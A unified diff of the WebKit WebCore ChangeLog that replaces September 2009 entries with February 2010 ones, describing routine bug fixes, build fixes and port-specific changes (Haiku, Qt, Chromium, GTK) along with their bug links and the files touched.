-        * loader/DocumentLoader.cpp:
-        (WebCore::DocumentLoader::stopLoading): Adopt the new enum form for FrameLoader::stopLoading().
+        Crash in createContextualFragment when inserting a list in a non HTML document.
+        <rdar://problem/7666670>
+        https://bugs.webkit.org/show_bug.cgi?id=35305
+        
+        createFragmentFromMarkup did not handle correctly the case where documentElement is
+        not an HTMLElement. The static cast to HTMLElement was causing createContextualFragment to
+        crash.
+        
+        Test: editing/execCommand/insert-list-xml.xhtml
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::stopLoading): Take an enum to decide whether to dispatch no unload events,
-          only unload, or unload and pagehide.
-        (WebCore::FrameLoader::closeURL):
-        (WebCore::FrameLoader::scheduleRedirection):
-        (WebCore::FrameLoader::cachePageForHistoryItem): Call pageHidden().
-        (WebCore::FrameLoader::pageHidden): Add to dispatch the pagehide event to all frames in the case
-          where a page is added to the PageCache.
-        * loader/FrameLoader.h:
+        * dom/Element.cpp:
+        (WebCore::Element::createContextualFragment): Added.
+        * dom/Element.h: Added createContextualFragment virtual function.
+        * editing/markup.cpp:
+        (WebCore::createFragmentFromMarkup): Removed static cast to HTMLElement.
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::createContextualFragment): Modified to perform only checks
+        that are specific for an HTMLElement object. The rest of the logic has been moved to the
+        corresponding method in the Element class.
 
-        * loader/FrameLoaderTypes.h: Add an UnloadEventPolicy enum.
+2010-02-23  Steve Falkenburg  <sfalken@apple.com>
 
-2009-09-02  Brady Eidson  <beidson@apple.com>
+        Reviewed by Adam Roben.
 
-        Reviewed by Darin Adler.
+        WebCore should stop throwing away the CGImageSourceRef on Windows to improve GIF performance
+        https://bugs.webkit.org/show_bug.cgi?id=35309
 
-        More partial work towards "Page Cache should support pages with Frames"
-        https://bugs.webkit.org/show_bug.cgi?id=13631
+        * platform/graphics/cg/ImageSourceCG.cpp:
+        (WebCore::ImageSource::clear):
 
-        - More CachedFrame destruction work.
-        - Including related Frame and FrameLoader changes and cleanup.
+2010-02-23  Leandro Pereira  <leandro@profusion.mobi>
 
-        No new tests. (No change in behavior, current tests pass).
+        Reviewed by Gustavo Noronha Silva.
 
-        * history/CachedFrame.cpp:
-        (WebCore::CachedFrameBase::restore): Rebuild up the whole FrameTree when restoring.
-        (WebCore::CachedFrame::CachedFrame): Tear down the entire FrameTree when caching.
-        (WebCore::CachedFrame::destroy): For child frames that are being destroyed while in
-          the PageCache, do lightweight cleanup to:
-          A - Prevent referring to a stale Page object.
-          B - Prevent World Leaks of WebKit objects.
+        Changes references of GOwnPtr to reflect their new place.
+        http://webkit.org/b/35084
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::stopAllLoaders): stopAllLoaders() should never be called on Frames that are
-          in the PageCache. ASSERT that fact.
-        (WebCore::FrameLoader::open): Remove a bogus release-build workaround, as the comment right above it
-          explains it is not effective, and it'd be better to see the crash locally instead of downstream.
-        (WebCore::FrameLoader::closeAndRemoveChild): Make sure the owner element has a page pointer before
-          referencing it.
-        (WebCore::FrameLoader::detachFromParent): Use the new detachViewsAndDocumentLoader() call
-        (WebCore::FrameLoader::detachViewsAndDocumentLoader): Does lightweight cleanup of client (WebKit) objects.
-        * loader/FrameLoader.h:
+        * WebCore/platform/KURL.cpp
+        * WebCore/platform/TextEncoding.cpp:
+        * WebCore/platform/text/gtk/TextBreakIteratorGtk.cpp: 
+        * WebCore/platform/text/gtk/TextCodecGtk.cpp:
 
-        * page/Frame.cpp:
-        (WebCore::Frame::detachFromPage): Simply clear the Page pointer without doing any other work.
-        (WebCore::Frame::pageDestroyed): Use the new detachFromPage().
-        * page/Frame.h:
+2010-02-23  Brady Eidson  <beidson@apple.com>
 
-2009-09-02  Jungshik Shin  <jshin@chromium.org>
+        Reviewed by Alexey Proskuryakov.
 
-        Reviewed by Dimitri Glazkov
+        HTTP 307 after a 303 after a POST re-sends POST data from the original request.
+        <rdar://problem/7390251> and https://bugs.webkit.org/show_bug.cgi?id=31410
 
-        [Chromium] Add 'icu::' qualifier in preparation for ICU upgrade to 4.2
-        in Chromium. This is to fix a new file added in r28742 since the
-        last patch for this issue.
+        Test: http/tests/loading/307-after-303-after-post.html
 
-        https://bugs.webkit.org/show_bug.cgi?id=28410
+        Remember the last HTTP method send out during a redirect chain for a resource handle:
+        * platform/network/ResourceHandle.cpp:
+        (WebCore::ResourceHandle::lastHTTPMethod):
+        * platform/network/ResourceHandle.h:
+        * platform/network/ResourceHandleInternal.h:
+        (WebCore::ResourceHandleInternal::ResourceHandleInternal):
 
-        No change in the test result.
+        Refer to the last HTTP method used instead of the original method:
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::willSendRequest):
+        (WebCore::ResourceHandle::willSendRequest):
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCore::ResourceHandle::willSendRequest):
+        (-[WebCoreResourceHandleAsDelegate connection:willSendRequest:redirectResponse:]):
 
-        * platform/graphics/chromium/FontLinux.cpp:
-        (WebCore::TextRunWalker::getNormalizedTextRun):
+2010-02-23  Crystal Zhang  <haizhang@rim.com>
 
-2009-09-02  Dimitri Glazkov  <dglazkov@chromium.org>
+        Unreviewed build fix.
 
-        Unreviewed, build fix.
+        Fix build error when enable plugin proxy: 'toRenderEmbeddedObject' identifier not found.
+        As RenderEmbeddedObject inherits RenderPartObject and 'toRenderEmbeddedObject' belongs
+        to former one.
 
-        [Chromium] Correct a typo to fix bustage, caused by r47991.
-        https://bugs.webkit.org/show_bug.cgi?id=27933
+        * html/HTMLMediaElement.cpp:
 
-        * platform/graphics/skia/ImageBufferSkia.cpp: Changed "Unpremultipled" to "Unmultiplied".
+2010-02-23  Evan Martin  <evan@chromium.org>
 
-2009-09-02  Dimitri Glazkov  <dglazkov@chromium.org>
+        Reviewed by Jeremy Orlow.
 
-        Unreviewed, build fix.
+        [chromium] fix previous SVG-disabling patch
+        https://bugs.webkit.org/show_bug.cgi?id=35298
 
-        [Chromium] Add a missing include to fix bustage, caused by r47991.
-        https://bugs.webkit.org/show_bug.cgi?id=27933
+        * WebCore.gypi: rename variable
+        * WebCore.gyp/WebCore.gyp: actually use the variable
 
-        * platform/graphics/skia/ImageBufferSkia.cpp: Added SkColorPriv include.
+2010-02-23  Michael Lotz <mmlr@mlotz.ch>
 
-2009-09-02  Jian Li  <jianli@chromium.org>
+        Reviewed by David Levin.
 
-        Reviewed by Dimitri Glazkov.
+        [Haiku] Fix conversion from BString to String
+        https://bugs.webkit.org/show_bug.cgi?id=35082
 
-        [Chromium] Implement file support for DragData.
-        https://bugs.webkit.org/show_bug.cgi?id=28896
+        The previous patch to this file was broken (sorry). First of all,
+        the conversion from UTF8 was accidentally removed. Second, for
+        empty strings, we need to point the implementation at StringImpl::empty().
 
-        * platform/chromium/DragDataChromium.cpp:
-        (WebCore::DragData::containsURL):
-        (WebCore::DragData::asURL):
-        (WebCore::DragData::containsCompatibleContent):
+        Covered by existing tests.
 
-2009-09-02  Kevin Watters  <kevinwatters@gmail.com>
+        * platform/text/haiku/StringHaiku.cpp:
+        (WebCore::String::String):
 
-        Reviewed by Kevin Ollivier.
+2010-02-23  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
 
-        Protect libcurl shared data with Mutex objects via curl_set_share_opt.
-        https://bugs.webkit.org/show_bug.cgi?id=28920
+        Reviewed by Eric Carlson.
 
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::sharedResourceMutex):
-        (WebCore::curl_lock_callback):
-        (WebCore::curl_unlock_callback):
-        (WebCore::ResourceHandleManager::ResourceHandleManager):
+        [Qt] Prevent the media backend from handling non-audio or -video mime types
 
-2009-09-02  Evan Stade  <estade@chromium.org>
+        * platform/graphics/qt/MediaPlayerPrivateQt.cpp:
 
-        Reviewed by Eric Seidel.
+2010-02-23  Evan Martin  <evan@chromium.org>
 
-        Expose functions to change the focus ring color for Linux Chromium
+        Reviewed by Jeremy Orlow.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28887
+        [chromium] Allow building without SVG
+        https://bugs.webkit.org/show_bug.cgi?id=31522
 
-        * rendering/RenderThemeChromiumLinux.cpp:
-        (WebCore::RenderThemeChromiumLinux::RenderThemeChromiumLinux):
-        (WebCore::RenderThemeChromiumLinux::setFocusRingColor):
-        (WebCore::RenderThemeChromiumLinux::platformFocusRingColor):
-        * rendering/RenderThemeChromiumLinux.h:
+        * WebCore.gyp/WebCore.gyp, WebCore.gypi: test enable_svg flag.
+        * bindings/v8/custom/V8SVGDocumentCustom.cpp,
+          bindings/v8/custom/V8SVGPathSegCustom.cpp: test ENABLE(SVG).
 
-2009-09-02  Dirk Schulze  <krit@webkit.org>
+2010-02-23  Leandro Pereira  <leandro@profusion.mobi>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Gustavo Noronha Silva.
 
-        SVG Filter premultiplied color support for getImageDate/putImageData
-        [https://bugs.webkit.org/show_bug.cgi?id=27933]
+        Fixes references to GOwnPtr and GRefPtr so the GTK+ port builds
+        again.
+        http://webkit.org/b/35084
 
-        Patch to get premultiplied color support for Skia on getImageDate/putImageData.
+        * WebCore/platform/gtk/DataObjectGtk.h:
+        * WebCore/platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
 
-        * platform/graphics/skia/ImageBufferSkia.cpp:
-        (WebCore::getImageData):
-        (WebCore::putImageData):
+2010-02-23  Ariya Hidayat  <ariya.hidayat@gmail.com>
 
-2009-09-02  Brady Eidson  <beidson@apple.com>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Forget to rename openInFrameloader() to open(), which was requested in Darin's review of my last patch.
+        [Qt] Faster cut-off for rectangle drawing without shadow.
+        https://bugs.webkit.org/show_bug.cgi?id=35267
 
-        * history/CachedFrame.cpp:
-        (WebCore::CachedFrameBase::restore):
-        (WebCore::CachedFrame::open):
-        * history/CachedFrame.h:
-        * history/CachedPage.cpp:
-        (WebCore::CachedPage::restore):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawRect):
 
-2009-09-02  Brady Eidson  <beidson@apple.com>
+2010-02-23  Steve Block  <steveblock@google.com>
 
-        Reviewed by Darin Adler.
+        Reviewed by Jeremy Orlow.
 
-        In http://trac.webkit.org/changeset/47943 I added new header dependencies to FrameLoader.h.
-        Removing them is a little trouble, but worth it going forward.
-        The pattern of creating a "CachedFrameBase" as the interface CachedFrame provides to FrameLoader
-        was suggested by Darin Adler.
+        Removes redundant Settings::setGeolocationEnabled and Settings::geolocationEnabled
+        https://bugs.webkit.org/show_bug.cgi?id=35242
 
-        No new tests. (No change in behavior)
+        No new tests, removing dead code only.
 
-        Make CachedFrame inherit privately from CachedFrameBase, which becomes the interface FrameLoader uses:
-        * history/CachedFrame.cpp:
-        (WebCore::CachedFrameBase::CachedFrameBase):
-        (WebCore::CachedFrameBase::~CachedFrameBase):
-        (WebCore::CachedFrameBase::restore):
-        (WebCore::CachedFrame::CachedFrame):
-        (WebCore::CachedFrame::openInFrameLoader):
-        * history/CachedFrame.h:
-        (WebCore::CachedFrameBase::document):
-        (WebCore::CachedFrameBase::view):
-        (WebCore::CachedFrameBase::domWindow):
-        (WebCore::CachedFrame::create):
-        (WebCore::CachedFrame::documentLoader):
-        (WebCore::CachedFrame::mousePressNode):
-
-        Call the new ::openInFrameLoader() method on the CachedFrame, as CachedFrameBase is now the only
-        thing capable of interacting with FrameLoader::open(CachedFrameBase):
-        * history/CachedPage.cpp:
-        (WebCore::CachedPage::restore):
-        * history/CachedPage.h:
-        (WebCore::CachedPage::documentLoader):
-
-        Make ::open(CachedFrame) public, and change it to ::open(CachedFrameBase):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::open):
-        * loader/FrameLoader.h:
+        * page/Settings.cpp:
+        * page/Settings.h:
 
-2009-09-02  Ryosuke Niwa  <rniwa@webkit.org>
+2010-02-23  Ben Murdoch  <benm@google.com>
 
         Reviewed by Eric Seidel.
 
-        Cannot pres Enter to escape from bulleted list when <ul> is a child of <li>.
-        https://bugs.webkit.org/show_bug.cgi?id=24866
-
-        This patch modifies breakOutOfEmptyListItem to break out of a properly nested list
-        (a list to break out of is inside another list item).
+        pageX/Y co-ordinates of TouchEvent should be 0,0
+        https://bugs.webkit.org/show_bug.cgi?id=35239
 
-        When the empty list item appears at the end of another list item, WebKit breaks out of
-        the outer list item, and adds new item below the outer list item.
-        Otherwise, WebKit breaks out of the the inner list item and inserts new paragraph.
+        The co-ordinates attached to a touch event are not used for tracking touch motion, rather the co-ordinates attached to Touches within the touch event should be used. Set the co-ordinates on the event itself to 0 to avoid confusion and match observed iPhone behavior.
 
-        Test: editing/execCommand/break-out-of-empty-list-item.html
-
-        * editing/CompositeEditCommand.cpp:
-        (WebCore::CompositeEditCommand::breakOutOfEmptyListItem):
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleTouchEvent): Set the pageX/Y and screenX/Y co-ordinates attached to the touch event to 0,0 to match observed behavior on the iPhone.
+        * page/EventHandler.h: Remove now unused members m_firstTouchScreenPos and m_firstTouchPagePos.
 
-2009-09-02  Brady Eidson  <beidson@apple.com>
+2010-02-23  Stephan Aßmus  <superstippi@gmx.de>
 
-        Reviewed by Sam Weinig.
+        Reviewed by Eric Seidel.
 
-        More partial work towards "Page Cache should support pages with Frames"
-        https://bugs.webkit.org/show_bug.cgi?id=13631
+        [Haiku] Various improvements to EventHandlerHaiku.
+        https://bugs.webkit.org/show_bug.cgi?id=34685
 
-        This patch is primarily about the "CachedFrame tree" and making slightly different decisions
-        based on whether a CachedFrame is the main frame or a subframe.
+        Covered by existing tests.
 
-        - Store whether a CachedFrame represents the main frame or a subframe.
-        - "Chop off the frame tree" for the main frame when creating its CachedFrame, as main frames 
-          are reused and need to start new page loads with an empty frame tree.
-        - Reattach the frame tree to the main frame when restoring it.
-        - open() the cached subframes in their respective loaders when restoring.
-        - Properly clear() and destroy() cached subframes.
-        - When committing to a new page load, and after caching the previous page, only clear the
-          FrameView for the main frame.
+        Fix the build by not including PlatformScrollBar.h.
 
-        Note that all of above will eventually be necessary as I continue to land this work in pieces,
-        but doesn't actually change any behavior right now because we still refuse to even *try* to
-        cache pages with frames.
+        * page/haiku/EventHandlerHaiku.cpp:
+        (WebCore::isKeyboardOptionTab):
+            Use the correct keycode for tab keys.
+        (WebCore::EventHandler::focusDocumentView):
+            Use proper locking. In any case, Haiku doesn't append platform
+            widgets to WebCore widgets. But if it did, this implementation
+            would be correct.
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+            Implemented.
+        (WebCore::EventHandler::eventActivatedView):
+            Removed notImplemented() and added note.
+        (WebCore::EventHandler::passMousePressEventToSubframe):
+            Implemented.
+        (WebCore::EventHandler::passMouseMoveEventToSubframe):
+            Implemented.
+        (WebCore::EventHandler::passMouseReleaseEventToSubframe):
+            Implemented.
+        (WebCore::EventHandler::accessKeyModifiers):
+            Added note.
 
-        No new tests. No change in behavior, and current tests continue to pass.
+2010-02-23  Tony Chang  <tony@chromium.org>
 
-        * history/CachedFrame.cpp:
-        (WebCore::CachedFrame::CachedFrame):
-        (WebCore::CachedFrame::restore):
-        (WebCore::CachedFrame::clear):
-        (WebCore::CachedFrame::destroy):
-        * history/CachedFrame.h:
-        (WebCore::CachedFrame::isMainFrame):
+        Not reviewed.
+        Revert r55135 because the layout test is failing on all the bots.
+        https://bugs.webkit.org/show_bug.cgi?id=34634
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::clear):
-        (WebCore::FrameLoader::open):
-        * loader/FrameLoader.h:
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::insertAsListItems):
 
-2009-09-02  Brady Eidson  <beidson@apple.com>
+2010-02-17  Steve Block  <steveblock@google.com>
 
-        No review, build fix.
+        Reviewed by Ariya Hidayat.
 
-        http://trac.webkit.org/changeset/47976 broke the build.  
-        Let's try compiling before we land things, shall we?
+        Adds cache to store Geolocation positions between browser sessions.
+        https://bugs.webkit.org/show_bug.cgi?id=34084
 
-        * platform/graphics/SimpleFontData.cpp:
-        (WebCore::SimpleFontData::SimpleFontData): Order the initialization list correctly.
+        This is required to fully implement the Geolocation maximumAge property.
+        See Bug 30676.
 
-2009-09-02  Kevin Ollivier  <kevino@theolliviers.com>
+        No new tests, will add tests for maximumAge once complete.
 
-        waf build fixes for Windows/MSVC.
+        * Android.mk: Modified. Added GeolocationPositionCache.cpp
+        * GNUmakefile.am: Modified. Added GeolocationPositionCache.[cpp|h]
+        * WebCore.gypi: Modified. Added GeolocationPositionCache.[cpp|h]
+        * WebCore.pro: Modified. Added GeolocationPositionCache.[cpp|h]
+        * WebCore.vcproj/WebCore.vcproj: Modified. Added GeolocationPositionCache.[cpp|h]
+        * WebCore.xcodeproj/project.pbxproj: Modified. Added GeolocationPositionCache.[cpp|h]
+        * page/GeolocationPositionCache.cpp: Added.
+        (WebCore::GeolocationPositionCache::GeolocationPositionCache):
+        (WebCore::GeolocationPositionCache::~GeolocationPositionCache):
+        (WebCore::GeolocationPositionCache::setCachedPosition):
+        (WebCore::GeolocationPositionCache::cachedPosition):
+        (WebCore::GeolocationPositionCache::setDatabasePath):
+        (WebCore::GeolocationPositionCache::readFromDB):
+        (WebCore::GeolocationPositionCache::writeToDB):
+        * page/GeolocationPositionCache.h: Added.
 
-        * wscript:
+2010-02-23  Yuta Kitamura  <yutak@chromium.org>
 
-2009-09-02  Ben Murdoch  <benm@google.com>
+        Reviewed by Dan Bernstein.
 
-        Unreviewed build fix for Chromium.
+        Fix alignment of vertical-align: text-bottom inside an inline-block.
+        
+        This patch is based on a fix provided by Takahito Hirano.
 
-        Missed #including V8Proxy.h in WebCore/bindings/v8/V8Binding.cpp.
+        display: inline-block + vertical-align: text-bottom causes misalignment.
+        https://bugs.webkit.org/show_bug.cgi?id=30846
 
-        * bindings/v8/V8Binding.cpp: add V8Proxy.h as an include
+        Test: fast/inline-block/inline-block-vertical-align-2.html
 
-2009-09-02  Kevin Ollivier  <kevino@theolliviers.com>
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::verticalPosition): Fixed vpos calculation.
+        We cannot cut corners for inline blocks, since they may have their own
+        text metrics.
 
-        waf build fix, don't define symbols we now grab from other sources.
+2010-02-23  Steve Block  <steveblock@google.com>
 
-        * platform/wx/TemporaryLinkStubs.cpp:
+        Reviewed by David Levin.
 
-2009-09-02  Kevin Ollivier  <kevino@theolliviers.com>
+        Sets default values of V8 runtime enabler flags to match behavior with JSC
+        https://bugs.webkit.org/show_bug.cgi?id=35095
 
-        Build fixes for PluginViewNone.cpp and a wx build fix for PluginView.cpp.
+        No new tests, modifies a Chromium feature only.
 
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::stop):
-        * plugins/PluginViewNone.cpp:
-        (WebCore::PluginView::platformDestroy):
+        * bindings/generic/RuntimeEnabledFeatures.cpp: Modified. Sets appcache and geolocation flag defaults to 'on'
+        * storage/Database.cpp: Modified. Sets database flag default to 'on'.
 
-2009-09-02  Charles Wei  <charles.wei@torchmobile.com.cn>
+2010-02-23  Stephan Aßmus  <superstippi@gmx.de>
 
         Reviewed by Eric Seidel.
 
-        Fix the build failure of WebKit for Linux/Qt when WML is enabled
-
-        No test cases needed since this just fixes the build problem.
+        [Haiku] Fix various issues in keyboard event generation.
+        https://bugs.webkit.org/show_bug.cgi?id=34685
 
-        * wml/WMLElement.cpp:
-        (WebCore::WMLElement::create):
-        * wml/WMLTableElement.cpp:
-        (WebCore::WMLTableElement::joinSuperflousColumns):
-        (WebCore::WMLTableElement::padWithEmptyColumns):
+        Covered by existing tests.
 
-2009-09-02 Yong Li <yong.li@torchmobile.com>
+        Fixed backspace keycode.
+        Fixed using the appropriate fields from the Haiku event for mapping
+        to the VK_* codes and added mapping a great deal more codes.
+        Added extraction of modifier key flags.
+        Completed implementation of disambiguateKeyDownEvent()
+        Implemented currentCapsLockState().
 
-        Reviewed by Adam Barth.
+        * platform/haiku/PlatformKeyboardEventHaiku.cpp:
+        (WebCore::keyIdentifierForHaikuKeyCode):
+        (WebCore::windowsKeyCodeForKeyEvent):
+        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
+        (WebCore::PlatformKeyboardEvent::disambiguateKeyDownEvent):
+        (WebCore::PlatformKeyboardEvent::currentCapsLockState):
 
-        WINCE PORT: use shared buffer for custom font data
-        https://bugs.webkit.org/show_bug.cgi?id=27734
+2010-02-23  Steve Block  <steveblock@google.com>
 
-        Refactored by Joe Mason <joe.mason@torchmobile.com>
+        Reviewed by Darin Adler.
 
-        * loader/CachedFont.cpp:
-        add WINCE to platforms using cached custom data
-        * platform/graphics/opentype/OpenTypeUtilities.cpp:
-        (WebCore::renameFont): implement for WinCE
-        * platform/graphics/opentype/OpenTypeUtilities.h:
-        build fixes
-        * platform/graphics/wince/FontCustomPlatformData.cpp:
-        (WebCore::setCustomFontCache): add accessor
-        (WebCore::createFontCustomPlatformData): change param to SharedBuffer
-        * platform/graphics/wince/FontCustomPlatformData.h:
-        update function signatures 
- 
-2009-09-02 Yong Li <yong.li@torchmobile.com>
+        Adds Client::cancelGeolocationPermissionRequestForFrame and ChromeClient::cancelGeolocationPermissionRequestForFrame
+        https://bugs.webkit.org/show_bug.cgi?id=34962
 
-        Reviewed by Adam Barth.
+        These methods are required so that a Geolocation object can cancel an
+        asynchronous permission request. This allows the chrome client to cancel
+        any UI it is showing for the permission request.
 
-        WINCE PORT: font-related build fixes and minor bugfixes
-        https://bugs.webkit.org/show_bug.cgi?id=27734
+        No new tests, as this is for the purposes of browser UI only.
 
-        * platform/graphics/FontCache.h: declare functions added in https://bugs.webkit.org/show_bug.cgi?id=27509
-        * platform/graphics/GlyphPageTreeNode.cpp:
-        (WebCore::GlyphPageTreeNode::initializePage): fix ambiguous overload error in min/max on Windows
-        * platform/graphics/SimpleFontData.cpp:
-        (WebCore::SimpleFontData::SimpleFontData): initialize member vars
-        * platform/graphics/SimpleFontData.h: disable unused members on Wince to save space 
+        * loader/EmptyClients.h: Modified
+        (WebCore::EmptyChromeClient::cancelGeolocationPermissionRequestForFrame): Added
+        * page/Chrome.cpp: Modified.
+        (WebCore::Chrome::cancelGeolocationPermissionRequestForFrame): Added
+        * page/Chrome.h: Modified.
+        * page/ChromeClient.h: Modified.
+        (WebCore::ChromeClient::cancelGeolocationPermissionRequestForFrame): Added
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::disconnectFrame): Modified. Call cancelGeolocationPermissionRequestForFrame
 
-2009-09-02  Jeremy Orlow  <jorlow@chromium.org>
+2010-02-23  Tony Chang  <tony@chromium.org>
 
-        Reviewed by Adam Barth.
+        Reviewed by Eric Seidel.
 
-        Another pass at releasing the storage mutex.
-        https://bugs.webkit.org/show_bug.cgi?id=28904
+        https://bugs.webkit.org/show_bug.cgi?id=34634
+        Pasting a list into the middle of another list item should split the target
+        list item into two separate list items.  This matches the behavior in other
+        browsers.
 
-        Another pass at releasing the storage mutex (when applicable) when we finish
-        executing JavaScript.  http://dev.w3.org/html5/spec/Overview.html#storage-mutex
-        describes the required behavior.
+        Test: editing/pasteboard/paste-list-004.html
 
-        As it turns out, https://bugs.webkit.org/show_bug.cgi?id=28789 didn't solve
-        the problem correctly.  First of all, I missed that events and timeouts go
-        through a different call path.  Second of all, I didn't consider recursion
-        correctly.  Third of all, my check to see if LocalStorage is alive actually
-        instantiates it if it isn't yet.  Fourth, I forgot DOM_STORAGE guards around
-        it.  So I'm reverting that change completely and doing it more cleanly.
-        Unfortunately, the solution isn't as portable (and thus I've left out the JSC
-        implementation for now).
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::insertAsListItems):
 
-        NOTE: This change now tracks recursion on function callbacks in V8.  I ran this
-        by Mads Ager and Mike Belshe and they seemed to think adding the checks were
-        fine.  Most callbacks are asynchronous and thus wouldn't be nested.  The few
-        scenareos where you can have nested callbacks probably should have always been
-        protected by a recursion guard.
+2010-02-23  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-        Unfortunately, this can't be tested without a hook added to the layout test
-        controllers since the lock is (by design) not supposed to be observable by
-        JavaScript.  https://bugs.webkit.org/show_bug.cgi?id=28906
+        Reviewed by Laszlo Gombos.
 
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate): revert
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate): revert
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::runScript):
-            Add releaseStorageMutex call.  A small amount of clean up.
-        (WebCore::V8Proxy::callFunction):
-            Add releaseStorageMutex call.  A small amount of clean up.
-        (WebCore::V8Proxy::releaseStorageMutex):
-            Check to see if localStorage has been instantiated.  If so, tell it to
-            unlock all storage areas.
-        * bindings/v8/V8Proxy.h:
-        * page/PageGroup.h:
-        (WebCore::PageGroup::hasLocalStorage):  Make hasLocalStorage public.
+        [Qt] Correct build problems while building QtWebKit inside Qt.
+        https://bugs.webkit.org/show_bug.cgi?id=34975
 
-2009-09-02  Yong Li  <yong.li@torchmobile.com>
+        * WebCore.pro: Change the condition !standalone_package to !QTDIR_build
 
-        Reviewed by Adam Barth.
+2010-02-23  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-        WINCE PORT: Implement ImageBuffer for WINCE
-        Implement Image interface with a light class BufferedImage
-        for rendering ImageBuffer
-        https://bugs.webkit.org/show_bug.cgi?id=28167
+        Reviewed by Ariya Hidayat.
 
-        * platform/graphics/wince/ImageBufferData.h: Added.
-        * platform/graphics/wince/ImageBufferWince.cpp: Added.
+        [Qt] Connect video with accelerated compositing
+        https://bugs.webkit.org/show_bug.cgi?id=35276
+
+        MediaControlPrivate and GraphicsLayer are patched together via
+        a shared PlatformLayer (QGraphicsItem). This patch makes sure that the
+        QGraphicsVideoItem from MediaControl becomes part of the scene 
+        associsated with GraphicsLayer
+
+        Test: http://double.co.nz/video_test/test1.html with AC turned on
+
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQtImpl::): mediaLayer member
+        (WebCore::GraphicsLayerQtImpl::opaqueArea): video is opaque
+        (WebCore::GraphicsLayerQtImpl::paint): don't paint video
+        (WebCore::GraphicsLayerQtImpl::flushChanges): flush mediaLayer
+        (WebCore::GraphicsLayerQt::setContentsToMedia): notify
+        * platform/graphics/qt/GraphicsLayerQt.h: reimp setContentsToMedia
+        * platform/graphics/qt/MediaPlayerPrivateQt.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate): m_compositing
+        (WebCore::MediaPlayerPrivate::paint): don't paint if compositing
+        (WebCore::MediaPlayerPrivate::acceleratedRenderingStateChanged):
+        reimp from MediaPlayerPrivateInterface to support AC
+        (WebCore::MediaPlayerPrivate::platformLayer): ditto
+        * platform/graphics/qt/MediaPlayerPrivateQt.h: 
+        (WebCore::MediaPlayerPrivate::supportsAcceleratedRendering): ditto
 
-2009-08-31  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+2010-02-23  Stephan Aßmus  <superstippi@gmx.de>
 
         Reviewed by Eric Seidel.
 
-        Join the various PluginView destructors into one shared implementation
-
-        https://bugs.webkit.org/show_bug.cgi?id=27706
+        Fix various issues in PlatformWheelEventHaiku.
+        https://bugs.webkit.org/show_bug.cgi?id=34685
 
-        The Qt port used to delete the platform plugin widget as the last step.
-        Now this is done before cleaning up the script objects and unloading the
-        plugin package, similar to how the Win port does it.
+        Covered by existing tests.
+        
+        Fixed coding style violations.
+        Synced extracting the correct coordinates with Haiku WebKit implementation.
+        Added extracting modifier key flags.
 
-        * plugins/PluginView.cpp:
-        * plugins/PluginViewNone.cpp:
-        * plugins/gtk/PluginViewGtk.cpp:
-        * plugins/mac/PluginViewMac.cpp:
-        * plugins/qt/PluginViewQt.cpp:
-        * plugins/win/PluginViewWin.cpp:
+        * platform/haiku/PlatformWheelEventHaiku.cpp:
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent):
 
-2009-08-31  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+2010-02-23  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
         Reviewed by Eric Seidel.
 
-        Share PluginView::init() between ports
-
-        https://bugs.webkit.org/show_bug.cgi?id=27706
-
-        The port-spesific bits are moved to platformStart(), which now returns
-        a bool based on the success of the platformStart.
-
-        m_hasPendingGeometryChange is now initialized in the initializer list
-        instead of in PluginViewQt's init()
+        Build fix for PluginView
+        https://bugs.webkit.org/show_bug.cgi?id=35230
 
-        PluginViewMac (currently used only by the Qt port) used to manually call
-        stop() in the case where an unsupported drawing or event model was detected.
-        This was wrong, as the m_status and m_isStarted fields should be used to
-        guard against doing operations on a plugin in this intermediate state.
+        No new tests, build fix only.
 
         * plugins/PluginView.cpp:
         * plugins/PluginView.h:
         * plugins/PluginViewNone.cpp:
-        * plugins/gtk/PluginViewGtk.cpp:
-        * plugins/mac/PluginViewMac.cpp:
-        * plugins/qt/PluginViewQt.cpp:
-        * plugins/win/PluginViewWin.cpp:
-
-2009-09-02  Ben Murdoch  <benm@google.com>
-
-        https://bugs.webkit.org/show_bug.cgi?id=28737
-        
-        Update JavaScript bindings in JSC and V8 for SQLTransaction to throw exceptions in the right places.
-
-        * bindings/js/JSSQLTransactionCustom.cpp:
-        (WebCore::JSSQLTransaction::executeSql): Throw an exception if no parameters are passed to executeSql().
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::v8ValueToWebCoreString): Catch an exception if thrown from toString().
-        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Allow "arrayish objects" to be passed to executeSql.
-
